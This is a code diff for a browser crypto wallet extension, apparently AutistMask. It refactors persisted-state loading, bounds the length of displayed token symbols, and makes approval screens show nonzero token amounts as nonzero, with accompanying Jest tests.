+    saveQueue = turn.catch(() => {});
+    return turn;
 }
 
 async function loadState() {
     const result = await storageGet("autistmask");
     if (result.autistmask) {
-        const saved = result.autistmask;
-        state.wallets = saved.wallets || [];
-        // Derived, never read from storage: a profile persisted with the flag
-        // out of step with the wallet list would otherwise stay broken on
-        // every load. Nothing depends on the two disagreeing.
-        state.hasWallet = state.wallets.length > 0;
-        state.trackedTokens = saved.trackedTokens || [];
-        state.networkId = saved.networkId || DEFAULT_STATE.networkId;
-        state.rpcUrl = saved.rpcUrl || DEFAULT_STATE.rpcUrl;
-        state.blockscoutUrl =
-            saved.blockscoutUrl || DEFAULT_STATE.blockscoutUrl;
-        // An actual object is required, not merely a truthy non-array: the
-        // code below and onChainSwitch() index and ASSIGN INTO this value,
-        // and assigning a property to a string or a number is a silent no-op
-        // in sloppy mode. A stored primitive would therefore be re-persisted
-        // unchanged forever, and every switch would fall back to the network
-        // default — the endpoint loss this map exists to prevent, with no
-        // self-healing. The allowedSites/deniedSites guards below are only
-        // read from, which is why they can be looser.
-        state.networkEndpoints =
-            typeof saved.networkEndpoints === "object" &&
-            saved.networkEndpoints !== null &&
-            !Array.isArray(saved.networkEndpoints)
-                ? saved.networkEndpoints
-                : {};
-        // A profile written before this map existed carries exactly one pair
-        // of endpoints, belonging to whatever network it was last on. Adopt
-        // it as that network's remembered pair, so a custom endpoint set on
-        // the old build is not lost by the first switch away and back.
-        if (!state.networkEndpoints[state.networkId]) {
-            state.networkEndpoints[state.networkId] = {
-                rpcUrl: state.rpcUrl,
-                blockscoutUrl: state.blockscoutUrl,
-            };
-        }
-        state.lastBalanceRefresh = saved.lastBalanceRefresh || 0;
-        state.activeAddress = saved.activeAddress || null;
-        state.allowedSites =
-            saved.allowedSites && !Array.isArray(saved.allowedSites)
-                ? saved.allowedSites
-                : {};
-        state.deniedSites =
-            saved.deniedSites && !Array.isArray(saved.deniedSites)
-                ? saved.deniedSites
-                : {};
-        state.rememberSiteChoice =
-            saved.rememberSiteChoice !== undefined
-                ? saved.rememberSiteChoice
-                : true;
-        state.showZeroBalanceTokens =
-            saved.showZeroBalanceTokens !== undefined
-                ? saved.showZeroBalanceTokens
-                : true;
-        // A profile written before this setting existed has no key for it.
-        // It is a safety filter, so absent must load as on, not as undefined.
-        state.hideSpoofedSymbols =
-            saved.hideSpoofedSymbols !== undefined
-                ? saved.hideSpoofedSymbols
-                : true;
-        state.hideLowHolderTokens =
-            saved.hideLowHolderTokens !== undefined
-                ? saved.hideLowHolderTokens
-                : true;
-        state.hideFraudContracts =
-            saved.hideFraudContracts !== undefined
-                ? saved.hideFraudContracts
-                : true;
-        state.hideDustTransactions =
-            saved.hideDustTransactions !== undefined
-                ? saved.hideDustTransactions
-                : true;
-        state.dustThresholdGwei =
-            saved.dustThresholdGwei !== undefined
-                ? saved.dustThresholdGwei
-                : 100000;
-        state.utcTimestamps =
-            saved.utcTimestamps !== undefined ? saved.utcTimestamps : false;
-        state.fraudContracts = saved.fraudContracts || [];
-        state.tokenHolderCache = saved.tokenHolderCache || {};
-        state.theme = saved.theme || "system";
-        state.debugMode =
-            saved.debugMode !== undefined ? saved.debugMode : false;
-        state.currentView = saved.currentView || null;
-        state.selectedWallet =
-            saved.selectedWallet !== undefined ? saved.selectedWallet : null;
-        state.selectedAddress =
-            saved.selectedAddress !== undefined ? saved.selectedAddress : null;
-        state.selectedToken = saved.selectedToken || null;
-        state.viewData = saved.viewData || {};
-        state.viewStack = restorableStack(saved.viewStack, state.currentView);
+        Object.assign(rawState, normalizePersisted(result.autistmask));
     }
+    // Whether storage had a profile or was empty, this context has now read
+    // it, and the defaults standing in for an empty profile are the right
+    // answer rather than a stand-in for one nobody looked for.
+    loaded = true;
+    // The point of comparison every saveState() on this page diffs against.
+    // See PERSISTED_FIELDS in persistedState.js for why a reference here
+    // would be wrong.
+    baseline = structuredClone(snapshotPersisted());
 }
 
+// Through the guarded proxy, not rawState: a caller asking which address is
+// selected before anything was loaded gets the same loud failure it would get
+// reading the fields itself.
 function currentAddress() {
     if (state.selectedWallet === null || state.selectedAddress === null) {
         return null;
@@ -232,4 +534,5 @@ module.exports = {
     loadState,
     currentAddress,
     currentNetwork,
+    StateNotLoadedError,
 };

src/shared/symbolDisplay.js

@@ -0,0 +1,43 @@
+// The length bound on a token symbol as displayed.
+//
+// A symbol is whatever an ERC-20's symbol() returns and the wallet fetches
+// it from the block explorer, which imposes no length: src/shared/balances.js
+// takes `item.token.symbol` as given. A kilobyte-long symbol is a real
+// return value, and rendering it pushes every amount off the row, scrolls
+// the balance list past the screen, and hides the figures the user is there
+// to read.
+//
+// This is a layout bound, not a security control. Escaping is what makes a
+// hostile symbol inert (see src/shared/html.js), and isSpoofedSymbol() is
+// what catches one impersonating a known ticker; neither job belongs here
+// and neither is done here. Truncating an unescaped symbol would still be
+// an injection, just a shorter one.
+//
+// 12 characters, which is the bound lookupTokenInfo() in
+// src/shared/balances.js already applies when it stores a symbol read
+// straight off a contract; the explorer path was the one with no bound at
+// all. The longest symbol across the 512 entries of the bundled list is 10
+// (MSYRUPUSDP), so nothing the wallet ships as a real token is ever
+// truncated. The ellipsis is what tells the user the name they are looking
+// at is not the whole name — worth knowing before they send to it.
+
+const MAX_SYMBOL_LENGTH = 12;
+
+// The placeholder for a token whose symbol the explorer did not report.
+// balances.js already substitutes this; repeated here so a symbol that
+// arrives empty from anywhere else displays the same way rather than as a
+// blank gap in the row.
+const UNKNOWN_SYMBOL = "???";
+
+function displaySymbol(symbol) {
+    const s = symbol === null || symbol === undefined ? "" : String(symbol);
+    if (s.length === 0) return UNKNOWN_SYMBOL;
+    if (s.length <= MAX_SYMBOL_LENGTH) return s;
+    return s.slice(0, MAX_SYMBOL_LENGTH - 1) + "…";
+}
+
+module.exports = {
+    displaySymbol,
+    MAX_SYMBOL_LENGTH,
+    UNKNOWN_SYMBOL,
+};

src/shared/transactions.js

@@ -11,6 +11,10 @@ const { log, debugFetch } = require("./log");
 const { TOKEN_BY_ADDRESS } = require("./tokenList");
 const { parseHoldersCount, isLowHolderCount } = require("./holders");
 const { isSpoofedSymbol } = require("./symbolSpoof");
+// The plain 4-decimal rule. The history and balance lists deliberately keep
+// truncation without the approval screens' nonzero floor: the transaction
+// detail view is the authoritative record and already shows exact precision.
+const { truncateAmount: formatTxValue } = require("./amountDisplay");
 
 // Ethereum addresses are case-insensitive: EIP-55 mixed case is a checksum
 // over the address, not part of its identity.  Every address comparison in
@@ -20,13 +24,6 @@ function normalizeAddress(addr) {
     return (addr || "").toLowerCase();
 }
 
-function formatTxValue(val) {
-    const parts = val.split(".");
-    if (parts.length === 1) return val + ".0000";
-    const dec = (parts[1] + "0000").slice(0, 4);
-    return parts[0] + "." + dec;
-}
-
 function parseTx(tx, addrLower) {
     const from = tx.from?.hash || "";
     const to = tx.to?.hash || "";

src/shared/uniswap.js

@@ -3,6 +3,7 @@
 
 const { Interface, AbiCoder, getBytes, formatUnits } = require("ethers");
 const { TOKEN_BY_ADDRESS } = require("./tokenList");
+const { truncateAmountNeverZero } = require("./amountDisplay");
 
 const coder = AbiCoder.defaultAbiCoder();
 
@@ -34,11 +35,13 @@ const COMMAND_NAMES = {
     0x21: "Execute Sub-Plan",
 };
 
+// The swap's Amount and Min. received lines land on the same approval screen,
+// and Amount is carried to the wait/success/error screens as the ERC-20 line
+// is, so they take the same nonzero floor: a swap of an amount below 0.0001 is
+// not "0.0000", and a slippage floor of one base unit does not read as "you may
+// receive nothing".
 function formatAmount(raw, decimals) {
-    const parts = formatUnits(raw, decimals).split(".");
-    if (parts.length === 1) return parts[0] + ".0000";
-    const dec = (parts[1] + "0000").slice(0, 4);
-    return parts[0] + "." + dec;
+    return truncateAmountNeverZero(formatUnits(raw, decimals));
 }
 
 function tokenInfo(address) {

tests/alarms.test.js

@@ -8,6 +8,8 @@
 // A controllable clock plus a stubbed balance refresh, so a cadence test can
 // measure the interval between refreshes that actually happened rather than
 // asserting the interval someone intended.
+const { makeStorageStub } = require("./support/storageStub");
+
 let mockNow = 0;
 const mockBalanceRefreshAt = [];
 
@@ -247,32 +249,17 @@ describe("alarms module", () => {
 // Loads the background worker against stubbed browser APIs. The returned
 // store is the extension storage the worker sees, so a test can seed wallet
 // state and read back what the worker persisted.
+// The stub clones in both directions, as the real chrome.storage.local does,
+// and carries the latency simulation above on every operation. It used to
+// alias, which for this file meant the worker's in-memory wallets and the
+// "stored" ones were one object — see tests/support/storageStub.js.
 function loadBackground(initialStore = {}) {
-    const storageStore = initialStore;
+    const storage = makeStorageStub(initialStore, mockStorageTick);
     const alarmsStub = makeAlarmsStub();
     const listeners = { onInstalled: [], onStartup: [] };
     global.chrome = {
         alarms: alarmsStub,
-        storage: {
-            local: {
-                get: async (key) => {
-                    mockStorageTick();
-                    return Object.prototype.hasOwnProperty.call(
-                        storageStore,
-                        key,
-                    )
-                        ? { [key]: storageStore[key] }
-                        : {};
-                },
-                set: async (items) => {
-                    mockStorageTick();
-                    Object.assign(storageStore, items);
-                },
-                remove: async (key) => {
-                    delete storageStore[key];
-                },
-            },
-        },
+        storage,
         runtime: {
             onMessage: { addListener: jest.fn() },
             onConnect: { addListener: jest.fn() },
@@ -301,7 +288,7 @@ function loadBackground(initialStore = {}) {
     }));
     jest.resetModules();
     require("../src/background/index");
-    return { alarmsStub, listeners, store: storageStore };
+    return { alarmsStub, listeners, storage };
 }
 
 // Flush the promise chains the startup path and the alarm handlers run on.
@@ -476,12 +463,16 @@ describe("balance refresh steady-state cadence", () => {
         // The guard's actual job, and the reason it is shortened rather than
         // removed: while the popup is open it refreshes every 10 seconds and
         // stamps the same field, and the background job has nothing to add.
-        const store = seededStore();
-        const { alarmsStub } = loadBackground(store);
+        const { alarmsStub, storage } = loadBackground(seededStore());
         await settle();
 
         mockNow += PERIOD_MS;
-        store.autistmask.lastBalanceRefresh = mockNow - 10 * 1000;
+        // As the open popup's own refresh would leave it: written to storage,
+        // not poked into an object the worker happens to share.
+        storage.write("autistmask", {
+            ...storage.read("autistmask"),
+            lastBalanceRefresh: mockNow - 10 * 1000,
+        });
         alarmsStub.fire(BALANCE_REFRESH_ALARM);
         await settle();
 

tests/approvalAmount.test.js

@@ -0,0 +1,208 @@
+// The quantity the dApp approval screen shows for a decoded ERC-20 call.
+//
+// The screen's amount line is the only place a user sees how much a page is
+// asking for, and it is decoded from calldata, which carries base units and
+// no scale. Issue #306: decodeCalldata read decimals from the bundled token
+// list alone and fell back to 18, so a `transfer` of 5000000000 units of a
+// 6-decimal token — 5,000 tokens — was displayed as `0.0000` and confirmed.
+//
+// What is asserted here is that the scale is found wherever the wallet
+// already has it, and that where it is nowhere at all no formatted number is
+// produced: the amount line has to say base units and say the scale is
+// unknown, because a wrong quantity that reads as zero is worse than an
+// unwieldy correct one.
+
+globalThis.chrome = {
+    storage: { local: { get: async () => ({}), set: async () => {} } },
+};
+
+const { Interface } = require("ethers");
+const { ERC20_ABI } = require("../src/shared/constants");
+const { state } = require("../src/shared/state");
+const {
+    resolveTokenDecimals,
+    unknownDecimalsAmount,
+} = require("../src/shared/approvalAmount");
+const { decodeCalldata } = require("../src/popup/views/approval");
+
+const iface = new Interface(ERC20_ABI);
+
+// Outside the bundled list, as the great majority of ERC-20s are.
+const NOVEL_TOKEN = "0xE2E0000000000000000000000000000000000E2e";
+// In the bundled list, at 6 decimals.
+const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48";
+const RECIPIENT = "0xC0FfEE0000000000000000000000000000c0fFEe";
+const SPENDER = "0x1111111111111111111111111111111111111111";
+
+// 5,000 units of a 6-decimal token, the amount from the issue.
+const FIVE_THOUSAND_AT_SIX = 5000000000n;
+const MAX_UINT256 = (1n << 256n) - 1n;
+
+function transferData(amount) {
+    return iface.encodeFunctionData("transfer", [RECIPIENT, amount]);
+}
+
+function approveData(amount) {
+    return iface.encodeFunctionData("approve", [SPENDER, amount]);
+}
+
+// The Amount line as the approval screen renders it.
+function amountLine(data, tokenAddress) {
+    const decoded = decodeCalldata(data, tokenAddress);
+    const detail = decoded.details.find((d) => d.label === "Amount");
+    return detail.value;
+}
+
+// A wallet holding `token` with the decimals the block explorer reported,
+// shaped as balances.js writes it onto state.
+function walletsHolding(token, decimals) {
+    return [
+        {
+            name: "Wallet 1",
+            addresses: [
+                {
+                    address: "0x" + "a".repeat(40),
+                    balance: "1.0",
+                    tokenBalances: [
+                        {
+                            address: token,
+                            symbol: "NOVEL",
+                            decimals,
+                            balance: "5000.0",
+                        },
+                    ],
+                },
+            ],
+        },
+    ];
+}
+
+beforeEach(() => {
+    state.trackedTokens = [];
+    state.wallets = [];
+});
+
+describe("resolveTokenDecimals", () => {
+    test("prefers the bundled list", () => {
+        state.trackedTokens = [{ address: USDC, symbol: "USDC", decimals: 2 }];
+        expect(resolveTokenDecimals(USDC, state)).toBe(6);
+    });
+
+    test("reads a token the user tracks", () => {
+        state.trackedTokens = [
+            {
+                address: NOVEL_TOKEN.toLowerCase(),
+                symbol: "NOVEL",
+                decimals: 6,
+            },
+        ];
+        expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBe(6);
+    });
+
+    test("reads the decimals the explorer reported", () => {
+        // Blockscout's copy arrives as a string.
+        state.wallets = walletsHolding(NOVEL_TOKEN, "6");
+        expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBe(6);
+    });
+
+    test("falls past a tracked entry whose decimals are unusable", () => {
+        state.trackedTokens = [
+            { address: NOVEL_TOKEN, symbol: "NOVEL", decimals: NaN },
+        ];
+        state.wallets = walletsHolding(NOVEL_TOKEN, 6);
+        expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBe(6);
+    });
+
+    test("refuses a scale the explorer's own entries disagree about", () => {
+        const wallets = walletsHolding(NOVEL_TOKEN, 6);
+        wallets[0].addresses.push({
+            address: "0x" + "b".repeat(40),
+            balance: "0.0",
+            tokenBalances: [
+                { address: NOVEL_TOKEN, symbol: "NOVEL", decimals: 18 },
+            ],
+        });
+        state.wallets = wallets;
+        expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBeNull();
+    });
+
+    test("rejects values that are not a uint8", () => {
+        for (const decimals of [-1, 256, 1.5, true, [], {}, null, "6.0", ""]) {
+            state.trackedTokens = [{ address: NOVEL_TOKEN, decimals }];
+            expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBeNull();
+        }
+    });
+
+    test("is null when nothing knows the token", () => {
+        expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBeNull();
+    });
+});
+
+describe("decodeCalldata amount", () => {
+    test("transfer of a tracked 6-decimal token shows the true quantity", () => {
+        state.trackedTokens = [
+            { address: NOVEL_TOKEN, symbol: "NOVEL", decimals: 6 },
+        ];
+        expect(
+            amountLine(transferData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN),
+        ).toBe("5000.0000");
+    });
+
+    test("transfer priced off the explorer's decimals shows the true quantity", () => {
+        state.wallets = walletsHolding(NOVEL_TOKEN, "6");
+        expect(
+            amountLine(transferData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN),
+        ).toBe("5000.0000");
+    });
+
+    test("transfer of an unknown-decimals token shows base units, not a number", () => {
+        const line = amountLine(
+            transferData(FIVE_THOUSAND_AT_SIX),
+            NOVEL_TOKEN,
+        );
+        expect(line).toBe("5000000000 base units (decimals unknown)");
+        expect(line).toBe(unknownDecimalsAmount(FIVE_THOUSAND_AT_SIX));
+        // The defect: any rendering that reads as a token quantity, and above
+        // all one that reads as zero.
+        expect(line).not.toMatch(/0\.0000/);
+    });
+
+    test("approve of a tracked 6-decimal token shows the true quantity", () => {
+        state.trackedTokens = [
+            { address: NOVEL_TOKEN, symbol: "NOVEL", decimals: 6 },
+        ];
+        expect(amountLine(approveData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN)).toBe(
+            "5000.0000",
+        );
+    });
+
+    test("approve of an unknown-decimals token shows base units, not a number", () => {
+        const line = amountLine(approveData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN);
+        expect(line).toBe("5000000000 base units (decimals unknown)");
+        expect(line).not.toMatch(/0\.0000/);
+    });
+
+    test("an unbounded allowance is still named, with or without a scale", () => {
+        expect(amountLine(approveData(MAX_UINT256), NOVEL_TOKEN)).toBe(
+            "Unlimited",
+        );
+        expect(amountLine(approveData(MAX_UINT256), USDC)).toBe("Unlimited");
+    });
+
+    test("a bundled token keeps its symbol and its scale", () => {
+        expect(amountLine(transferData(FIVE_THOUSAND_AT_SIX), USDC)).toBe(
+            "5000.0000 USDC",
+        );
+    });
+
+    test("the amount carried to the status screens is the same string", () => {
+        const decoded = decodeCalldata(
+            transferData(FIVE_THOUSAND_AT_SIX),
+            NOVEL_TOKEN,
+        );
+        const detail = decoded.details.find((d) => d.label === "Amount");
+        expect(detail.rawValue).toBe(
+            "5000000000 base units (decimals unknown)",
+        );
+    });
+});

tests/approvalDisplayFloor.test.js

@@ -0,0 +1,190 @@
+// The floor of the approval screen's amount line.
+//
+// Amounts are truncated to four decimal places for scannability (README.md,
+// Display Consistency). With the token's true scale resolved, that truncation
+// can still take a real amount below the floor and print it as `0.0000`: one
+// base unit of an 18-decimal token, or a few hundred of an 8-decimal one. On
+// the one screen whose job is to state what is being authorized, a nonzero
+// transfer or allowance then reads as nothing.
+//
+// The invariant asserted here is narrow: a nonzero amount never renders as
+// zero. The four-decimal rule itself is unchanged, and the string the
+// confirmation screens carry as `txInfo.amount` is the same one, so it is
+// asserted on `rawValue` alongside the displayed line.
+//
+// Both amount paths of that screen are covered: the ERC-20 line decoded by
+// `src/popup/views/approval.js`, and the swap's `Amount` and `Min. received`
+// lines decoded by `src/shared/uniswap.js`.
+
+globalThis.chrome = {
+    storage: { local: { get: async () => ({}), set: async () => {} } },
+};
+
+const { AbiCoder, Interface } = require("ethers");
+const { ERC20_ABI } = require("../src/shared/constants");
+const { state } = require("../src/shared/state");
+const { decodeCalldata } = require("../src/popup/views/approval");
+const uniswap = require("../src/shared/uniswap");
+const {
+    truncateAmount,
+    truncateAmountNeverZero,
+} = require("../src/shared/amountDisplay");
+
+const iface = new Interface(ERC20_ABI);
+
+// Bundled tokens, so the scale and the symbol both come from the list.
+const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48"; // 6 decimals
+const WBT = "0x925206b8a707096Ed26ae47C84747fE0bb734F59"; // 8 decimals
+const DAI = "0x6B175474E89094C44Da98b954EedeAC495271d0F"; // 18 decimals
+// Outside the list, so the scale comes from what the user tracks and the line
+// carries no symbol.
+const NOVEL = "0xE2E0000000000000000000000000000000000E2e";
+
+const RECIPIENT = "0xC0FfEE0000000000000000000000000000c0fFEe";
+const SPENDER = "0x1111111111111111111111111111111111111111";
+
+// The Uniswap swap lines land on this same approval screen.
+const ROUTER = "0x66a9893cc07d91d95644aedd05d03f95e1dba8af";
+const USDT = "0xdAC17F958D2ee523a2206206994597C13D831ec7"; // 6 decimals
+const WETH = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"; // 18 decimals
+
+const coder = AbiCoder.defaultAbiCoder();
+const routerIface = new Interface([
+    "function execute(bytes commands, bytes[] inputs, uint256 deadline)",
+]);
+
+// A V2_SWAP_EXACT_IN (command 0x08) execute() call: `amountIn` of USDT for at
+// least `amountOutMin` of WETH.
+function swapData(amountIn, amountOutMin) {
+    const input = coder.encode(
+        ["address", "uint256", "uint256", "address[]", "bool"],
+        [RECIPIENT, amountIn, amountOutMin, [USDT, WETH], true],
+    );
+    return routerIface.encodeFunctionData("execute", [
+        "0x08",
+        [input],
+        9999999999n,
+    ]);
+}
+
+function swapDetail(amountIn, amountOutMin, label) {
+    const decoded = uniswap.decode(swapData(amountIn, amountOutMin), ROUTER);
+    return decoded.details.find((d) => d.label === label);
+}
+
+function transferData(amount) {
+    return iface.encodeFunctionData("transfer", [RECIPIENT, amount]);
+}
+
+function approveData(amount) {
+    return iface.encodeFunctionData("approve", [SPENDER, amount]);
+}
+
+// The Amount detail as the approval screen renders it: `value` is the line on
+// the screen, `rawValue` is what is carried to the wait/success/error screens.
+function amount(data, token) {
+    const decoded = decodeCalldata(data, token);
+    return decoded.details.find((d) => d.label === "Amount");
+}
+
+beforeEach(() => {
+    state.trackedTokens = [];
+    state.wallets = [];
+});
+
+describe("a nonzero amount never renders as zero", () => {
+    test("500 base units of a 6-decimal token", () => {
+        const detail = amount(transferData(500n), USDC);
+        expect(detail.value).toBe("0.0005 USDC");
+        expect(detail.rawValue).toBe("0.0005");
+    });
+
+    test("1 base unit of an 18-decimal token", () => {
+        const detail = amount(transferData(1n), DAI);
+        expect(detail.value).toBe("0.000000000000000001 DAI");
+        expect(detail.rawValue).toBe("0.000000000000000001");
+    });
+
+    test("500 base units of an 8-decimal token", () => {
+        expect(amount(transferData(500n), WBT).rawValue).toBe("0.000005");
+    });
+
+    test("an allowance below the floor is not rendered as zero either", () => {
+        expect(amount(approveData(1n), DAI).value).toBe(
+            "0.000000000000000001 DAI",
+        );
+    });
+
+    // The floor holds at any scale, not only the three above: for every
+    // decimals a token can declare, one base unit has to show a digit.
+    test("one base unit shows a significant digit at every scale", () => {
+        for (let decimals = 0; decimals <= 30; decimals++) {
+            state.trackedTokens = [{ address: NOVEL, decimals }];
+            expect(amount(transferData(1n), NOVEL).rawValue).toMatch(/[1-9]/);
+        }
+    });
+});
+
+// The swap decoder formats its own amounts, so the same floor has to hold on
+// the swap lines of the same screen. `Min. received` is the sharper of the
+// two: the slippage floor rendered as `0.0000` states that the swap may return
+// nothing.
+describe("a swap's amounts never render as zero either", () => {
+    test("a swap input below the floor keeps a significant digit", () => {
+        // 50 base units of a 6-decimal token is 0.00005.
+        const detail = swapDetail(50n, 10n ** 15n, "Amount");
+        expect(detail.value).toBe("0.00005 USDT");
+        expect(detail.rawValue).toBe("0.00005");
+    });
+
+    test("a min-received below the floor keeps a significant digit", () => {
+        // 1 wei of an 18-decimal token.
+        expect(swapDetail(10n ** 6n, 1n, "Min. received").value).toBe(
+            "0.000000000000000001 WETH",
+        );
+    });
+
+    test("swap amounts at or above the floor are still truncated", () => {
+        expect(swapDetail(1000000n, 10n ** 15n, "Amount").rawValue).toBe(
+            "1.0000",
+        );
+        expect(
+            swapDetail(1000000n, 999999999999999999n, "Min. received").value,
+        ).toBe("0.9999 WETH");
+    });
+});
+
+describe("the four-decimal rule is otherwise unchanged", () => {
+    test("a whole amount keeps exactly four decimals", () => {
+        expect(amount(transferData(5000000000n), USDC).rawValue).toBe(
+            "5000.0000",
+        );
+    });
+
+    test("precision beyond four decimals is still truncated", () => {
+        expect(amount(transferData(1234567890123456789n), DAI).rawValue).toBe(
+            "1.2345",
+        );
+    });
+
+    test("an amount at the floor is not extended", () => {
+        expect(amount(transferData(100000000000000n), DAI).rawValue).toBe(
+            "0.0001",
+        );
+    });
+
+    test("a genuine zero still renders as zero", () => {
+        expect(amount(transferData(0n), DAI).rawValue).toBe("0.0000");
+    });
+
+    // The three truncators now share one module. The floor is a policy of the
+    // approval and confirmation screens only: the history and balance lists
+    // keep plain truncation, because the transaction detail view is the
+    // authoritative record and already shows exact precision.
+    test("the list rule stays unfloored", () => {
+        expect(truncateAmount("0.000000000000000001")).toBe("0.0000");
+        expect(truncateAmountNeverZero("0.000000000000000001")).toBe(
+            "0.000000000000000001",
+        );
+    });
+});

tests/backgroundApproval.test.js

@@ -24,6 +24,7 @@ const { Network, Wallet } = require("ethers");
 // before any jest.doMock() of the module, so the copy assertions below check
 // what the user is actually shown.
 const { describeSigningFailure } = require("../src/shared/approvalVerify");
+const { makeStorageStub } = require("./support/storageStub");
 
 const SIGNER_KEY =
     "0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
@@ -137,22 +138,22 @@ function loadBackground(options) {
     jest.resetModules();
 
     const broadcastTransaction = jest.fn();
-    const loadState = jest.fn(opts.loadState || (async () => {}));
 
-    // The network the wallet is on, which the tests switch under a pending
-    // approval. The node the transaction is populated against is on the same
-    // one, as it would be: switching networks switches the RPC endpoint too.
-    let chain = MAINNET;
+    // The node the transaction is populated against is on whatever chain the
+    // stored profile says, as it would be: switching networks switches the RPC
+    // endpoint too. The background takes the network from storage per call —
+    // it holds no in-memory copy — so this reads the record rather than a
+    // variable the test keeps alongside it.
+    const chainOf = (networkId) =>
+        networkId === "sepolia" ? SEPOLIA : MAINNET;
 
-    jest.doMock("../src/shared/state", () => ({
-        state: { rpcUrl: "https://rpc.invalid", wallets: [] },
-        loadState,
-        saveState: jest.fn(async () => {}),
-        currentNetwork: () => ({ chainId: chain.hex }),
-    }));
     jest.doMock("../src/shared/balances", () => ({
-        getProvider: () =>
-            fakeProvider(broadcastTransaction, opts.provider, chain.num),
+        getProvider: (rpcUrl, networkId) =>
+            fakeProvider(
+                broadcastTransaction,
+                opts.provider,
+                chainOf(networkId).num,
+            ),
         refreshBalances: jest.fn(async () => {}),
     }));
     jest.doMock("../src/shared/phishingDomains", () => ({
@@ -177,12 +178,31 @@ function loadBackground(options) {
         wallets: [
             { name: "Wallet 1", type: "hd", addresses: [signer.address] },
         ],
+        networkId: "mainnet",
         rpcUrl: "https://rpc.invalid",
         activeAddress: signer.address,
         allowedSites: { [signer.address]: [HOSTNAME] },
         deniedSites: {},
     };
 
+    // The one wallet state there is. The background reads it per call and
+    // writes it read-modify-write; it holds no in-memory copy and cannot reach
+    // the shared singleton. Clones in both directions, as the real API does —
+    // the stub here used to hand back the live record and drop every write on
+    // the floor, so a test could neither see what was persisted nor be sure
+    // what it read had crossed the boundary
+    // (https://git.eeqj.de/sneak/AutistMask/issues/324).
+    const storage = makeStorageStub({ autistmask: persisted });
+
+    // A test that needs the state read itself to misbehave installs a hook —
+    // a stall, a throw — in place of the next reads. Armed after setup so
+    // that raising the approval is not what fails.
+    let storageGetHook = opts.storageGet || null;
+    const realGet = storage.local.get;
+    storage.local.get = jest.fn(async (key) =>
+        storageGetHook ? storageGetHook(key) : realGet(key),
+    );
+
     let messageListener = null;
     let windowRemovedListener = null;
     let connectListener = null;
@@ -194,15 +214,7 @@ function loadBackground(options) {
     const actionPopups = [];
 
     global.chrome = {
-        storage: {
-            local: {
-                get: jest.fn(
-                    opts.storageGet ||
-                        (async () => ({ autistmask: persisted })),
-                ),
-                set: jest.fn(async () => {}),
-            },
-        },
+        storage,
         runtime: {
             getURL: (path) => EXT_URL + path,
             onMessage: {
@@ -401,18 +413,32 @@ function loadBackground(options) {
         connectApproval,
         closeWindow,
         broadcastTransaction,
-        loadState,
         created,
         removed,
+        storage,
         // The user switching account in the toolbar popup, as the background
         // sees it: the persisted active address changes underneath a pending
         // approval.
         setActiveAddress: (address) => {
-            persisted.activeAddress = address;
+            storage.write("autistmask", {
+                ...storage.read("autistmask"),
+                activeAddress: address,
+            });
         },
-        // The user switching network in the toolbar popup.
+        // The user switching network in the toolbar popup. It moves the stored
+        // network and the endpoint together, as a real switch does.
         setNetwork: (network) => {
-            chain = network;
+            const networkId = network === SEPOLIA ? "sepolia" : "mainnet";
+            storage.write("autistmask", {
+                ...storage.read("autistmask"),
+                networkId,
+                rpcUrl: "https://rpc-" + networkId + ".invalid",
+            });
+        },
+        // Make the next state reads misbehave — stall, throw — without
+        // touching the reads that raised the approval. Pass null to restore.
+        setStateReadHook: (hook) => {
+            storageGetHook = hook;
         },
         fromPopup: { url: EXT_URL + "src/popup/index.html" },
     };
@@ -677,15 +703,16 @@ describe("one transaction approval at a time", () => {
     // page never — and holds the slot for the life of the worker with it.
     test("an approval whose window closed under a failed attempt is answered, and frees the next request", async () => {
         const stalled = deferred();
-        const bg = loadBackground({
-            loadState: async () => {
-                await stalled.promise;
-                throw new Error("The wallet data could not be read.");
-            },
-        });
+        const bg = loadBackground();
 
         const first = bg.requestTx();
         await settle();
+        // Armed only now: the approval was raised against a working state
+        // read, and it is the ATTEMPT's read that hangs and then fails.
+        bg.setStateReadHook(async () => {
+            await stalled.promise;
+            throw new Error("The wallet data could not be read.");
+        });
         bg.send(
             {
                 type: "AUTISTMASK_TX_RESPONSE",
@@ -709,6 +736,7 @@ describe("one transaction approval at a time", () => {
             error: { code: 4001, message: "User rejected the request." },
         });
 
+        bg.setStateReadHook(null);
         const second = bg.requestTx();
         await settle();
         expect(second.result()).toBeNull();
@@ -1226,19 +1254,18 @@ describe("what the approval is verified against", () => {
 // The interlock must not cost the retry the approval exists to allow.
 describe("the interlock releases a failed attempt", () => {
     test("a retryable failure before the broadcast leaves the approval usable", async () => {
-        let failNext = true;
-        const bg = loadBackground({
-            loadState: async () => {
-                if (failNext) {
-                    failNext = false;
-                    throw new Error("storage unavailable");
-                }
-            },
-        });
+        const bg = loadBackground();
         const pending = bg.requestTx();
         await settle();
         const id = pending.id();
 
+        // The attempt's state read fails once, then works: nothing was
+        // broadcast, so the approval must survive for the retry.
+        bg.setStateReadHook(() => {
+            bg.setStateReadHook(null);
+            throw new Error("storage unavailable");
+        });
+
         const first = bg.send(
             {
                 type: "AUTISTMASK_TX_RESPONSE",

tests/backgroundStateIsolation.test.js

@@ -0,0 +1,398 @@
+// What one background handler's state can do to another's while both are in
+// flight.
+//
+// The background used to read and write the module-level `state` singleton in
+// src/shared/state.js — one object, shared by every handler in the worker,
+// replaced wholesale by any loadState(). Two consequences, both covered here
+// and both from https://git.eeqj.de/sneak/AutistMask/issues/324:
+//
+//   - A transaction attempt captured the chain id at its loadState() and then
+//     read the ENDPOINT off the singleton several awaits later. A chain switch
+//     committed in that window moved the endpoint under an artifact already
+//     verified against the old chain, so it would have gone to the new chain's
+//     node — the very thing the verification exists to prevent.
+//
+//   - backgroundRefresh() handed the singleton's wallets to refreshBalances(),
+//     which mutates address objects in place across a multi-second network
